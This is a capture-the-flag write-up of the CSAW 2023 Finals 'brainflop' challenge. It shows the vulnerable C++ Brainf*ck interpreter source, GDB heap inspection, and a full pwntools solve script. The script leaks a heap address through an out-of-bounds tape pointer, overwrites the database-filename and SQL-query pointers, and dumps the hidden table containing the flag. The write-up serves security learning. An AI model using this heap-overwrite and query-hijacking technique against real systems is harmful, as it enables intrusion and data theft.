brainflop | CSAW CTF 2023 Finals
Pwning a Brainf*ck interpreter
This write-up is also posted on my website at https://www.alexyzhang.dev/write-ups/csaw-finals-2023/brainflop/.
The Challenge
You’re invited to the closed beta of our new esoteric cloud programming environment, BRAINFLOP!
Author: ex0dus (ToB)
We’re given a binary and 300+ lines of C++ source code:
// clang++ -std=c++17 -O0 -g -Werror -fvisibility=hidden -flto
// -fsanitize=cfi-mfcall challenge.cpp -lsqlite3
#include <climits>
#include <ctime>
#include <iostream>
#include <limits>
#include <list>
#include <map>
#include <optional>
#include <stdexcept>
#include <string>
#include <vector>
#include <sqlite3.h>
#define LOOP_DEPTH_MAX 50
static const char *db_path = "actual.db";
static const char *sql_select = "SELECT TIMESTAMP, TAPESTATE FROM brainflop;";
static const char *sql_insert =
"INSERT INTO brainflop (TASKID, TIMESTAMP, TAPESTATE) VALUES(?, ?, ?);";
bool parseYesOrNo(const std::string &message);
std::optional<int> parseNumericInput(void);
class BFTask {
public:
BFTask(int id, unsigned short tapeSize, bool doBackup)
: _id(id), tape(tapeSize, 0), sql_query(sql_select),
instructionPointer(0), dataPointer(0), doBackup(doBackup) {}
~BFTask() {
if (doBackup)
performBackup();
tape.clear();
if (_sqlite3ErrMsg)
sqlite3_free(_sqlite3ErrMsg);
if (db)
sqlite3_close(db);
}
void run(const std::string &program, bool deletePreviousState) {
if (deletePreviousState) {
tape.clear();
loopStack.clear();
instructionPointer = 0;
dataPointer = 0;
}
while (instructionPointer < program.length()) {
char command = program[instructionPointer];
switch (command) {
case '>':
incrementDataPointer();
break;
case '<':
decrementDataPointer();
break;
case '+':
incrementCellValue();
break;
case '-':
decrementCellValue();
break;
case '.':
outputCellValue();
break;
case ',':
inputCellValue();
break;
case '[':
if (getCellValue() == 0) {
size_t loopDepth = 1;
while (loopDepth > 0) {
if (loopDepth == LOOP_DEPTH_MAX)
throw std::runtime_error("nested loop depth exceeded.");
instructionPointer++;
if (program[instructionPointer] == '[') {
loopDepth++;
} else if (program[instructionPointer] == ']') {
loopDepth--;
}
}
} else {
loopStack.push_back(instructionPointer);
}
break;
case ']':
if (getCellValue() != 0) {
instructionPointer = loopStack.back() - 1;
} else {
loopStack.pop_back();
}
break;
default:
break;
}
instructionPointer++;
}
}
private:
int _id;
// TODO: delete me!
//std::string debug_db_path = "todo_delete_this.db";
sqlite3 *db;
char *_sqlite3ErrMsg = 0;
const std::string sql_query;
bool doBackup;
const char *db_file = db_path;
std::vector<unsigned char> tape;
std::list<size_t> loopStack;
size_t instructionPointer;
int dataPointer;
/* ============== backup to sqlite3 ============== */
static int _backup_callback(void *data, int argc, char **argv,
char **azColName) {
for (int i = 0; i < argc; i++) {
std::cout << azColName[i] << " = " << (argv[i] ? argv[i] : "NULL")
<< "\n";
}
std::cout << std::endl;
return 0;
}
void performBackup(void) {
sqlite3_stmt *stmt;
std::string tape_str;
std::cout << "Performing backup for task " << _id << std::endl;
time_t tm = time(NULL);
struct tm *current_time = localtime(&tm);
char *timestamp = asctime(current_time);
// create the table if it doesn't exist
if (sqlite3_open(db_file, &db))
throw std::runtime_error(std::string("sqlite3_open: ") +
sqlite3_errmsg(db));
std::string prepare_table_stmt = "CREATE TABLE IF NOT EXISTS brainflop("
"ID INT PRIMARY KEY,"
"TASKID INT,"
"TIMESTAMP TEXT,"
"TAPESTATE TEXT"
" );";
if (sqlite3_exec(db, prepare_table_stmt.c_str(), NULL, 0,
&_sqlite3ErrMsg) != SQLITE_OK)
throw std::runtime_error(std::string("sqlite3_exec: ") + _sqlite3ErrMsg);
// insert into database
if (sqlite3_prepare_v2(db, sql_insert, -1, &stmt, NULL) != SQLITE_OK)
throw std::runtime_error(std::string("sqlite3_prepare_v2: ") +
sqlite3_errmsg(db));
tape_str.push_back('|');
for (auto i : tape) {
tape_str += std::to_string(int(i));
tape_str.push_back('|');
}
sqlite3_bind_int(stmt, 1, _id);
sqlite3_bind_text(stmt, 2, timestamp, -1, SQLITE_STATIC);
sqlite3_bind_text(stmt, 3, tape_str.c_str(), -1, SQLITE_STATIC);
if (sqlite3_step(stmt) != SQLITE_DONE)
throw std::runtime_error(std::string("sqlite3_step: ") +
sqlite3_errmsg(db));
sqlite3_finalize(stmt);
// display contents
if (sqlite3_exec(db, sql_query.c_str(), _backup_callback, 0,
&_sqlite3ErrMsg) != SQLITE_OK)
throw std::runtime_error(std::string("sqlite3_exec: ") + _sqlite3ErrMsg);
}
/* ============== brainflop operations ============== */
void incrementDataPointer() { dataPointer++; }
void decrementDataPointer() { dataPointer--; }
void incrementCellValue() { tape[dataPointer]++; }
void decrementCellValue() { tape[dataPointer]--; }
void outputCellValue() { std::cout.put(tape[dataPointer]); }
void inputCellValue() {
char inputChar;
std::cin.ignore(std::numeric_limits<std::streamsize>::max(), '\n');
std::cin.get(inputChar);
tape[dataPointer] = inputChar;
}
unsigned char getCellValue() const { return tape[dataPointer]; }
};
void runNewTrial(int id, std::map<int, BFTask *> &task_map) {
unsigned short tapeSize;
bool doBackup;
std::string program;
tapeSize = 20;
doBackup =
parseYesOrNo("[>] Should BRAINFLOP SQL backup mode be enabled (y/n) ? ");
std::cout
<< "[>] Enter BRAINFLOP program (Enter to finish input and start run): ";
std::cin >> program;
BFTask *task = new BFTask(id, tapeSize, doBackup);
task->run(program, false);
task_map.insert(std::pair<int, BFTask *>(id, task));
}
void runOnPreviousTrial(int id, std::map<int, BFTask *> &task_map) {
bool deletePreviousState;
std::string program;
BFTask *task = task_map.at(id);
if (!task) {
throw std::runtime_error("cannot match ID in task mapping");
}
deletePreviousState = parseYesOrNo(
"[*] Should the previous BRAINFLOP tape state be deleted (y/n) ? ");
std::cout
<< "[>] Enter BRAINFLOP program (Enter to finish input and start run): ";
std::cin >> program;
task->run(program, deletePreviousState);
}
bool parseYesOrNo(const std::string &message) {
char userAnswer;
do {
std::cout << message;
std::cin >> userAnswer;
} while (!std::cin.fail() && userAnswer != 'y' && userAnswer != 'n');
if (userAnswer == 'y')
return true;
return false;
}
std::optional<int> parseNumericInput(void) {
int number;
try {
if (!(std::cin >> number)) {
// Input error or EOF (Ctrl+D)
if (std::cin.eof()) {
std::cout << "EOF detected. Exiting." << std::endl;
exit(-1);
} else {
// Clear the error state and ignore the rest of the line
std::cin.clear();
std::cin.ignore(std::numeric_limits<std::streamsize>::max(), '\n');
std::cerr << "Invalid input. Please enter an integer." << std::endl;
return {};
}
}
} catch (const std::exception &e) {
std::cerr << "An error occurred: " << e.what() << std::endl;
return {};
}
return number;
}
int main() {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
int id_counter = 1;
int free_trial_left = 3;
std::map<int, BFTask *> task_mapping;
while (true) {
std::cout << "\n\n[*] WHAT WOULD YOU LIKE TO DO?\n"
<< " (1) Execute a BRAINFLOP VM (" << free_trial_left
<< " free trials left).\n"
<< " (2) Open an existing BRAINFLOP VM.\n"
<< " (3) Goodbye.\n"
<< ">> ";
if (auto in = parseNumericInput()) {
switch (*in) {
case 1:
if (free_trial_left == 0) {
std::cerr << "[!] NO MORE VMS FOR YOU!!\n";
break;
}
runNewTrial(id_counter, task_mapping);
id_counter++;
free_trial_left--;
break;
case 2:
std::cout << "[*] Enter node ID number >> ";
if (auto id = parseNumericInput()) {
if (*id > free_trial_left || *id <= 0) {
std::cerr << "[!] INVALID NODE ID!!\n";
break;
}
runOnPreviousTrial(*id, task_mapping);
}
break;
case 3:
std::cout << "Goodbye!\n";
goto finalize;
default:
break;
}
}
}
finalize:
// free task map items
for (auto const &[id, task] : task_mapping) {
task->~BFTask();
}
return 0;
}
The complexity made the challenge seem intimidating at first.
There’s a lot of code, SQLite is involved, and the comment at the beginning indicates that the binary was compiled with a Clang CFI option that detects “Indirect call via a member function pointer with wrong dynamic type.”
The program implements an interpreter for the Brainf*ck esoteric language in the BFTask
class.
Users can create Brainf*ck VMs, execute programs in them, and back up their state into an SQLite database in a file named actual.db
.
A comment suggests that there is a secret database file named todo_delete_this.db
that we should try to read:
// TODO: delete me!
//std::string debug_db_path = "todo_delete_this.db";
Vulnerability
Brainf*ck programs operate on a “tape” consisting of an array of bytes.
The tape is accessed through a “tape pointer” which points to one of the bytes and can be moved left or right.
In the code, there’s nothing preventing the tape pointer (called dataPointer
) from going past the ends of the tape.
The tape is stored on the heap in an std::vector
, so we can leak or overwrite other data in the heap.
I also noticed some other bugs such as the code reading and writing to the tape after calling tape.clear()
, but we didn’t need them for our solution.
Our goal is to leak the todo_delete_this.db
database, and the BFTask::performBackup
function has code that will display the contents of the backup database.
If we can change the file name of the backup database, then we can get the function to print out todo_delete_this.db
instead.
The name of the backup database file is stored in a string literal which can’t be overwritten, but each BFTask
instance has its own db_file
member pointing to the string:
static const char *db_path = "actual.db";
//...
class BFTask {
//...
const char *db_file = db_path;
//...
}
Since the BFTask
objects are allocated on the heap, we can overwrite the db_file
pointer in one of them to make it point to the secret database file name.
We need to have the string todo_delete_this.db
at a known address, which can be achieved by putting it on the heap and leaking a heap address.
Exploitation
Heap leak
I created a BFTask
and then looked for heap pointers near the tape, but I couldn’t find any.
I figured that if I cause some more heap operations then they might leave a heap poiner around, so I made the BFTask
execute a long program first and then examined the heap near the tape.
This time, I found a heap pointer 0x48 bytes after the start of the tape:
gef➤ b BFTask::run
Breakpoint 1 at 0x55f65411da6f
gef➤ c
Continuing.
...
BFTask::run (this=0x55f654799330, program=..., deletePreviousState=0x1)
at challenge.cpp:52
52 while (instructionPointer < program.length()) {
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$rax : 0x000055f654799330 → 0x0000000500000001
$rbx : 0x00007ffc3928a258 → 0x00007ffc3928a553 → "/home/alex/brainflop/chal/challenge_patched"
$rcx : 0x000055f654799390 → 0x000055f654799390 → [loop detected]
$rdx : 0x000055f654799500 → 0x0000000000000000
$rsp : 0x00007ffc39289f40 → 0x01007ffc39289f90
$rbp : 0x00007ffc39289f90 → 0x00007ffc3928a050 → 0x00007ffc3928a140 → 0x0000000000000001
$rsi : 0x000055f654799514 → 0x0000004100000000
$rdi : 0x000055f654799390 → 0x000055f654799390 → [loop detected]
$rip : 0x000055f65411daa5 → jmp 0x55f65411daa7 <_ZN6BFTask3runERKNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEEb+87>
$r8 : 0x000055f654787010 → 0x0001000000010000
$r9 : 0x7
$r10 : 0x000055f6547992b0 → 0x000000055f654799
$r11 : 0x246
$r12 : 0x0
$r13 : 0x00007ffc3928a268 → 0x00007ffc3928a57f → "SHELL=/bin/bash"
$r14 : 0x000055f654125d58 → 0x000055f65411d570 → endbr64
$r15 : 0x00007fabe5702000 → 0x00007fabe57032d0 → 0x000055f65411a000 → jg 0x55f65411a047
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
───────────────────────────────────────────────────────────────────── stack ────
0x00007ffc39289f40│+0x0000: 0x01007ffc39289f90 ← $rsp
0x00007ffc39289f48│+0x0008: 0x010055f654122109
0x00007ffc39289f50│+0x0010: 0x00007fabe5469da0 → 0x0000000000000002
0x00007ffc39289f58│+0x0018: 0x000055f654799330 → 0x0000000500000001
0x00007ffc39289f60│+0x0020: 0x00007ffc3928a268 → 0x00007ffc3928a57f → "SHELL=/bin/bash"
0x00007ffc39289f68│+0x0028: 0x00007ffc3928a258 → 0x00007ffc3928a553 → "/home/alex/brainflop/chal/challenge_patched"
0x00007ffc39289f70│+0x0030: 0x00007ffc3928a050 → 0x00007ffc3928a140 → 0x0000000000000001
0x00007ffc39289f78│+0x0038: 0x0100000000000000
─────────────────────────────────────────────────────────────── code:x86:64 ────
0x55f65411da8f mov rax, QWORD PTR [rbp-0x38]
0x55f65411da93 mov QWORD PTR [rax+0x78], 0x0
0x55f65411da9b mov DWORD PTR [rax+0x80], 0x0
→ 0x55f65411daa5 jmp 0x55f65411daa7 <_ZN6BFTask3runERKNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEEb+87>
0x55f65411daa7 mov rax, QWORD PTR [rbp-0x38]
0x55f65411daab mov rax, QWORD PTR [rax+0x78]
0x55f65411daaf mov QWORD PTR [rbp-0x40], rax
0x55f65411dab3 mov rdi, QWORD PTR [rbp-0x10]
0x55f65411dab7 call 0x55f65411d3d0 <_ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE6lengthEv@plt>
─────────────────────────────────────────────────── source:challenge.cpp+52 ────
47 loopStack.clear();
48 instructionPointer = 0;
49 dataPointer = 0;
50 }
51
→ 52 while (instructionPointer < program.length()) {
53 char command = program[instructionPointer];
54 switch (command) {
55 case '>':
56 incrementDataPointer();
57 break;
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "challenge_patch", stopped 0x55f65411daa5 in BFTask::run (), reason: TEMPORARY BREAKPOINT
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x55f65411daa5 → BFTask::run(this=0x55f654799330, program=@0x7ffc39289ff8, deletePreviousState=0x1)
[#1] 0x55f65412018a → runOnPreviousTrial(id=0x1, task_map=@0x7ffc3928a100)
[#2] 0x55f654120843 → main()
────────────────────────────────────────────────────────────────────────────────
gef➤ deref tape._M_impl._M_start
0x000055f654799500│+0x0000: 0x0000000000000000 ← $rdx
0x000055f654799508│+0x0008: 0x0000000000000000
0x000055f654799510│+0x0010: 0x0000000000000000
0x000055f654799518│+0x0018: 0x0000000000000041 ("A"?)
0x000055f654799520│+0x0020: 0x0000000000000001
0x000055f654799528│+0x0028: 0x00007ffc3928a108 → 0x00007fab00000000
0x000055f654799530│+0x0030: 0x0000000000000000
0x000055f654799538│+0x0038: 0x0000000000000000
0x000055f654799540│+0x0040: 0x0000000000000001
0x000055f654799548│+0x0048: 0x000055f654799330 → 0x0000000500000001
I wrote a script with a Brainf*ck program that prints the pointer out:
#!/usr/bin/env python3
from pwn import *
exe = ELF("./challenge_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.38.so")
context.binary = exe
if args.REMOTE:
r = remote("pwn.csaw.io", 9999)
else:
r = process([exe.path])
if args.GDB:
gdb.attach(r)
# Cause some heap allocations for leaking heap address
r.sendlineafter(b'>> ', b'1') # Create new VM
r.sendlineafter(b' ? ', b'n') # Disable backups
r.sendlineafter(b'): ', b'A' * 200) # Long BF program to cause allocations
# Leak heap address
r.sendlineafter(b'>> ', b'2') # Reuse existing VM
r.sendlineafter(b'>> ', b'1') # VM index
r.sendlineafter(b' ? ', b'y') # Enable backups (I don't remember why)
r.sendlineafter(b'): ', b'>' * 0x48 + b'.>' * 8) # BF program to print pointer
leek = u64(r.recv(8))
log.info(f'{hex(leek)=}')
Now we have a heap leak:
[alex@ctf chal]$ ./solve.py
...
[+] Starting local process '/home/alex/brainflop/chal/challenge_patched': pid 2257
[*] hex(leek)='0x5633f3846330'
Overwriting the database file name
I used GDB to find the offset from the tape to the database file name pointer:
gef➤ b BFTask::run
Breakpoint 1 at 0x563e44046a6f
gef➤ c
Continuing.
...
BFTask::run (this=0x563e44eec560, program=..., deletePreviousState=0x0)
at challenge.cpp:52
52 while (instructionPointer < program.length()) {
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$rax : 0x0000563e44eec560 → 0x0000000500000002
$rbx : 0x00007ffc3cd4e0a8 → 0x00007ffc3cd4e553 → "/home/alex/brainflop/chal/challenge_patched"
$rcx : 0x0000563e44eecc04 → 0x0000345100000000
$rdx : 0x0
$rsp : 0x00007ffc3cd4dd60 → 0x00000002001401b0
$rbp : 0x00007ffc3cd4ddb0 → 0x00007ffc3cd4dea0 → 0x00007ffc3cd4df90 → 0x0000000000000001
$rsi : 0x00007ffc3cd4de48 → 0x0000563e44ef0060 → "<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<[...]"
$rdi : 0x0000563e44eec560 → 0x0000000500000002
$rip : 0x0000563e44046aa5 → jmp 0x563e44046aa7 <_ZN6BFTask3runERKNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEEb+87>
$r8 : 0xffffffffffffffa0
$r9 : 0x20
$r10 : 0x0000563e44ef0050 → 0x0000000000003450 ("P4"?)
$r11 : 0x40
$r12 : 0x0
$r13 : 0x00007ffc3cd4e0b8 → 0x00007ffc3cd4e57f → "SHELL=/bin/bash"
$r14 : 0x0000563e4404ed58 → 0x0000563e44046570 → endbr64
$r15 : 0x00007f9a70051000 → 0x00007f9a700522d0 → 0x0000563e44043000 → jg 0x563e44043047
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
───────────────────────────────────────────────────────────────────── stack ────
0x00007ffc3cd4dd60│+0x0000: 0x00000002001401b0 ← $rsp
0x00007ffc3cd4dd68│+0x0008: 0x0000563e44eec560 → 0x0000000500000002
0x00007ffc3cd4dd70│+0x0010: 0x00007ffc3cd4dd60 → 0x00000002001401b0
0x00007ffc3cd4dd78│+0x0018: 0x0000563e44eec560 → 0x0000000500000002
0x00007ffc3cd4dd80│+0x0020: 0x00007ffc3cd4e0b8 → 0x00007ffc3cd4e57f → "SHELL=/bin/bash"
0x00007ffc3cd4dd88│+0x0028: 0x00007ffc3cd4dd50 → 0x0000000000002710
0x00007ffc3cd4dd90│+0x0030: 0x00007ffc3cd4dd50 → 0x0000000000002710
0x00007ffc3cd4dd98│+0x0038: 0x00007ffc3cd4dea0 → 0x00007ffc3cd4df90 → 0x0000000000000001
─────────────────────────────────────────────────────────────── code:x86:64 ────
0x563e44046a8f mov rax, QWORD PTR [rbp-0x38]
0x563e44046a93 mov QWORD PTR [rax+0x78], 0x0
0x563e44046a9b mov DWORD PTR [rax+0x80], 0x0
→ 0x563e44046aa5 jmp 0x563e44046aa7 <_ZN6BFTask3runERKNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEEb+87>
0x563e44046aa7 mov rax, QWORD PTR [rbp-0x38]
0x563e44046aab mov rax, QWORD PTR [rax+0x78]
0x563e44046aaf mov QWORD PTR [rbp-0x40], rax
0x563e44046ab3 mov rdi, QWORD PTR [rbp-0x10]
0x563e44046ab7 call 0x563e440463d0 <_ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE6lengthEv@plt>
─────────────────────────────────────────────────── source:challenge.cpp+52 ────
47 loopStack.clear();
48 instructionPointer = 0;
49 dataPointer = 0;
50 }
51
→ 52 while (instructionPointer < program.length()) {
53 char command = program[instructionPointer];
54 switch (command) {
55 case '>':
56 incrementDataPointer();
57 break;
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "challenge_patch", stopped 0x563e44046aa5 in BFTask::run (), reason: TEMPORARY BREAKPOINT
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x563e44046aa5 → BFTask::run(this=0x563e44eec560, program=@0x7ffc3cd4de48, deletePreviousState=0x0)
[#1] 0x563e440466af → runNewTrial(id=0x2, task_map=@0x7ffc3cd4df50)
[#2] 0x563e440497a4 → main()
────────────────────────────────────────────────────────────────────────────────
gef➤ p (void*)tape._M_impl._M_start - (void*)&db_file
$1 = 0x650
I made a Brainf*ck program to overwrite the pointer, and appended the string todo_delete_this.db
to the end.
Then I used GEF’s grep
command to find the address of the string, and subtract the leaked heap address to find the offset that needs to be added.
Here’s the resulting script:
# Overwrite database file name
r.sendlineafter(b'>> ', b'1') # Create new VM
r.sendlineafter(b' ? ', b'y') # Enable backups so that database will be dumped
pl = b'<' * 0x650 + b',>' * 8 + b'todo_delete_this.db\0'
# Pad to fixed size so heap layout doesn't change
assert len(pl) <= 10000
pl = pl.ljust(10000, b'A')
r.sendlineafter(b'): ', pl)
# Send database file name address
for b in p64(leek + 0x1670):
r.sendline(bytes([b]))
# Exit the program so that the backup will be performed
r.sendlineafter(b'>> ', b'3')
r.interactive()
When I ran this locally, the program created a todo_delete_this.db
file, which confirms that I overwrote the database file name correctly.
However, when I ran it on the server, the output did not contain a flag:
[alex@ctf chal]$ ./solve.py REMOTE
[!] Could not populate PLT: module 'unicorn' has no attribute 'UC_ARCH_RISCV'
[*] '/home/alex/brainflop/chal/challenge_patched'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.'
[!] Could not populate PLT: module 'unicorn' has no attribute 'UC_ARCH_RISCV'
[*] '/home/alex/brainflop/chal/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/home/alex/brainflop/chal/ld-2.38.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to pwn.csaw.io on port 9999: Done
[*] hex(leek)='0x555e886ee330'
[*] Switching to interactive mode
Goodbye!
Performing backup for task 2
TIMESTAMP = timestamp
TAPESTATE = |
TIMESTAMP = Sun Dec 31 00:46:27 2023
TAPESTATE = |0|0|0|0|0|0|0|0|0|0|0|0|0|0|0|0|0|0|0|0|
[*] Got EOF while reading in interactive
$
Finding the flag
This was pretty disappointing and I got stuck here for a while.
Later, I figured that surely the todo_delete_this.db
comment isn’t just a red herring and the flag might be in a different table.
I noticed that each BFTask
instance has its own copy of the SQL query command stored inside an std::string
, so we can overwrite the pointer in a similar way to make it point to our own SQL command.
I modified the Brainf*ck program to also overwrite the pointer to the SQL command, and Aplet123 gave me a query that lists the tables.
The SQL command had to not contain any spaces, since the Brainf*ck program was read from std::cin
using the >>
operator, which doesn’t read whitespace.
The script now looks like this:
# Overwrite database file name and SQL query
r.sendlineafter(b'>> ', b'1') # Create new VM
r.sendlineafter(b' ? ', b'y') # Enable backups so that database will be dumped
pl = b'<' * 0x650 + b',>' * 8 + b'<' * 0x30 + b',>' * 8 + b'SELECT*FROM`sqlite_master`;--todo_delete_this.db\0'
# Pad to fixed size so heap layout doesn't change
assert len(pl) <= 10000
pl = pl.ljust(10000, b'A')
r.sendlineafter(b'): ', pl)
# Send database file name address
for b in p64(leek + 0x16cd):
r.sendline(bytes([b]))
# Send SQL query address
for b in p64(leek + 0x25c0):
r.sendline(bytes([b]))
# Exit the program so that the backup will be performed
r.sendlineafter(b'>> ', b'3')
r.interactive()
When I ran it on remote, I got a bunch of output with the flag near the end:
[alex@ctf chal]$ ./solve.py REMOTE
[!] Could not populate PLT: module 'unicorn' has no attribute 'UC_ARCH_RISCV'
[*] '/home/alex/brainflop/chal/challenge_patched'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.'
[!] Could not populate PLT: module 'unicorn' has no attribute 'UC_ARCH_RISCV'
[*] '/home/alex/brainflop/chal/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/home/alex/brainflop/chal/ld-2.38.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to pwn.csaw.io on port 9999: Done
[*] hex(leek)='0x5557cfd4f330'
[*] Switching to interactive mode
Goodbye!
Performing backup for task 2
type = table
name = brainflop
tbl_name = brainflop
rootpage = 2
sql = CREATE TABLE brainflop(
ID INT PRIMARY KEY,
TASKID INT NOT NULL,
TIMESTAMP TEXT NOT NULL,
TAPESTATE TEXT NOT NULL
)
type = index
name = sqlite_autoindex_brainflop_1
tbl_name = brainflop
rootpage = 3
sql = NULL
type = table
name = pastablorf
tbl_name = pastablorf
rootpage = 4
sql = CREATE TABLE pastablorf(DATA TEXT)
type = table
name = blamfogg
tbl_name = blamfogg
rootpage = 5
sql = CREATE TABLE blamfogg(DATA TEXT)
type = table
name = qubblezop
tbl_name = qubblezop
rootpage = 6
sql = CREATE TABLE qubblezop(DATA TEXT)
type = table
name = quasarquirk
tbl_name = quasarquirk
rootpage = 7
sql = CREATE TABLE quasarquirk(DATA TEXT)
type = table
name = heartworp
tbl_name = heartworp
rootpage = 8
sql = CREATE TABLE heartworp(DATA TEXT)
type = table
name = cuzarblonk
tbl_name = cuzarblonk
rootpage = 9
sql = CREATE TABLE cuzarblonk(DATA TEXT)
type = table
name = flutterquap
tbl_name = flutterquap
rootpage = 10
sql = CREATE TABLE flutterquap(DATA TEXT)
type = table
name = glrixatorb
tbl_name = glrixatorb
rootpage = 11
sql = CREATE TABLE glrixatorb(DATA TEXT)
type = table
name = queezlepoff
tbl_name = queezlepoff
rootpage = 12
sql = CREATE TABLE queezlepoff(DATA TEXT)
type = table
name = gazorpazorp
tbl_name = gazorpazorp
rootpage = 13
sql = CREATE TABLE gazorpazorp(DATA TEXT)
type = table
name = nogglyblomp
tbl_name = nogglyblomp
rootpage = 14
sql = CREATE TABLE nogglyblomp(DATA TEXT)
type = trigger
name = hide_corp_secrets
tbl_name = brainflop
rootpage = 0
sql = CREATE TRIGGER hide_corp_secrets
AFTER INSERT ON brainflop
BEGIN
UPDATE heartworp SET DATA = replace(DATA, "csawctf{ur_sup3r_d4ta_B4S3D!!}", "wowzers you're too late!");
END
[*] Got EOF while reading in interactive
$
Full solve script:
#!/usr/bin/env python3
from pwn import *
exe = ELF("./challenge_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.38.so")
context.binary = exe
if args.REMOTE:
r = remote("pwn.csaw.io", 9999)
else:
r = process([exe.path])
if args.GDB:
gdb.attach(r)
# Cause some heap allocations for leaking heap address
r.sendlineafter(b'>> ', b'1') # Create new VM
r.sendlineafter(b' ? ', b'n') # Disable backups
r.sendlineafter(b'): ', b'A' * 200) # Long BF program to cause allocations
# Leak heap address
r.sendlineafter(b'>> ', b'2') # Reuse existing VM
r.sendlineafter(b'>> ', b'1') # VM index
r.sendlineafter(b' ? ', b'y') # Enable backups (I don't remember why)
r.sendlineafter(b'): ', b'>' * 0x48 + b'.>' * 8) # BF program to print pointer
leek = u64(r.recv(8))
log.info(f'{hex(leek)=}')
# Overwrite database file name and SQL query
r.sendlineafter(b'>> ', b'1') # Create new VM
r.sendlineafter(b' ? ', b'y') # Enable backups so that database will be dumped
pl = b'<' * 0x650 + b',>' * 8 + b'<' * 0x30 + b',>' * 8 + b'SELECT*FROM`sqlite_master`;--todo_delete_this.db\0'
# Pad to fixed size so heap layout doesn't change
assert len(pl) <= 10000
pl = pl.ljust(10000, b'A')
r.sendlineafter(b'): ', pl)
# Send database file name address
for b in p64(leek + 0x16cd):
r.sendline(bytes([b]))
# Send SQL query address
for b in p64(leek + 0x25c0):
r.sendline(bytes([b]))
# Exit the program so that the backup will be performed
r.sendlineafter(b'>> ', b'3')
r.interactive()
Conclusion
When I read the challenge author’s solution, I realized that we had solved this challenge in a way that was easier than intended.
The author did some heap feng shui to make overwriting the file name pointer possible, but I didn’t need any of that.
Padding the program to a fixed size probably helped.
Also, it looks like we were supposed to do a bit of detective work to find the flag in the database after overwriting the SQL query.
The flag was in one of several tables with random names and it had been overwritten using an SQL trigger, but we just dumped the whole sqlite_master
table which had the flag inside.
It looks like this challenge was intended to be as hard as it initially seemed, but we got a bit lucky.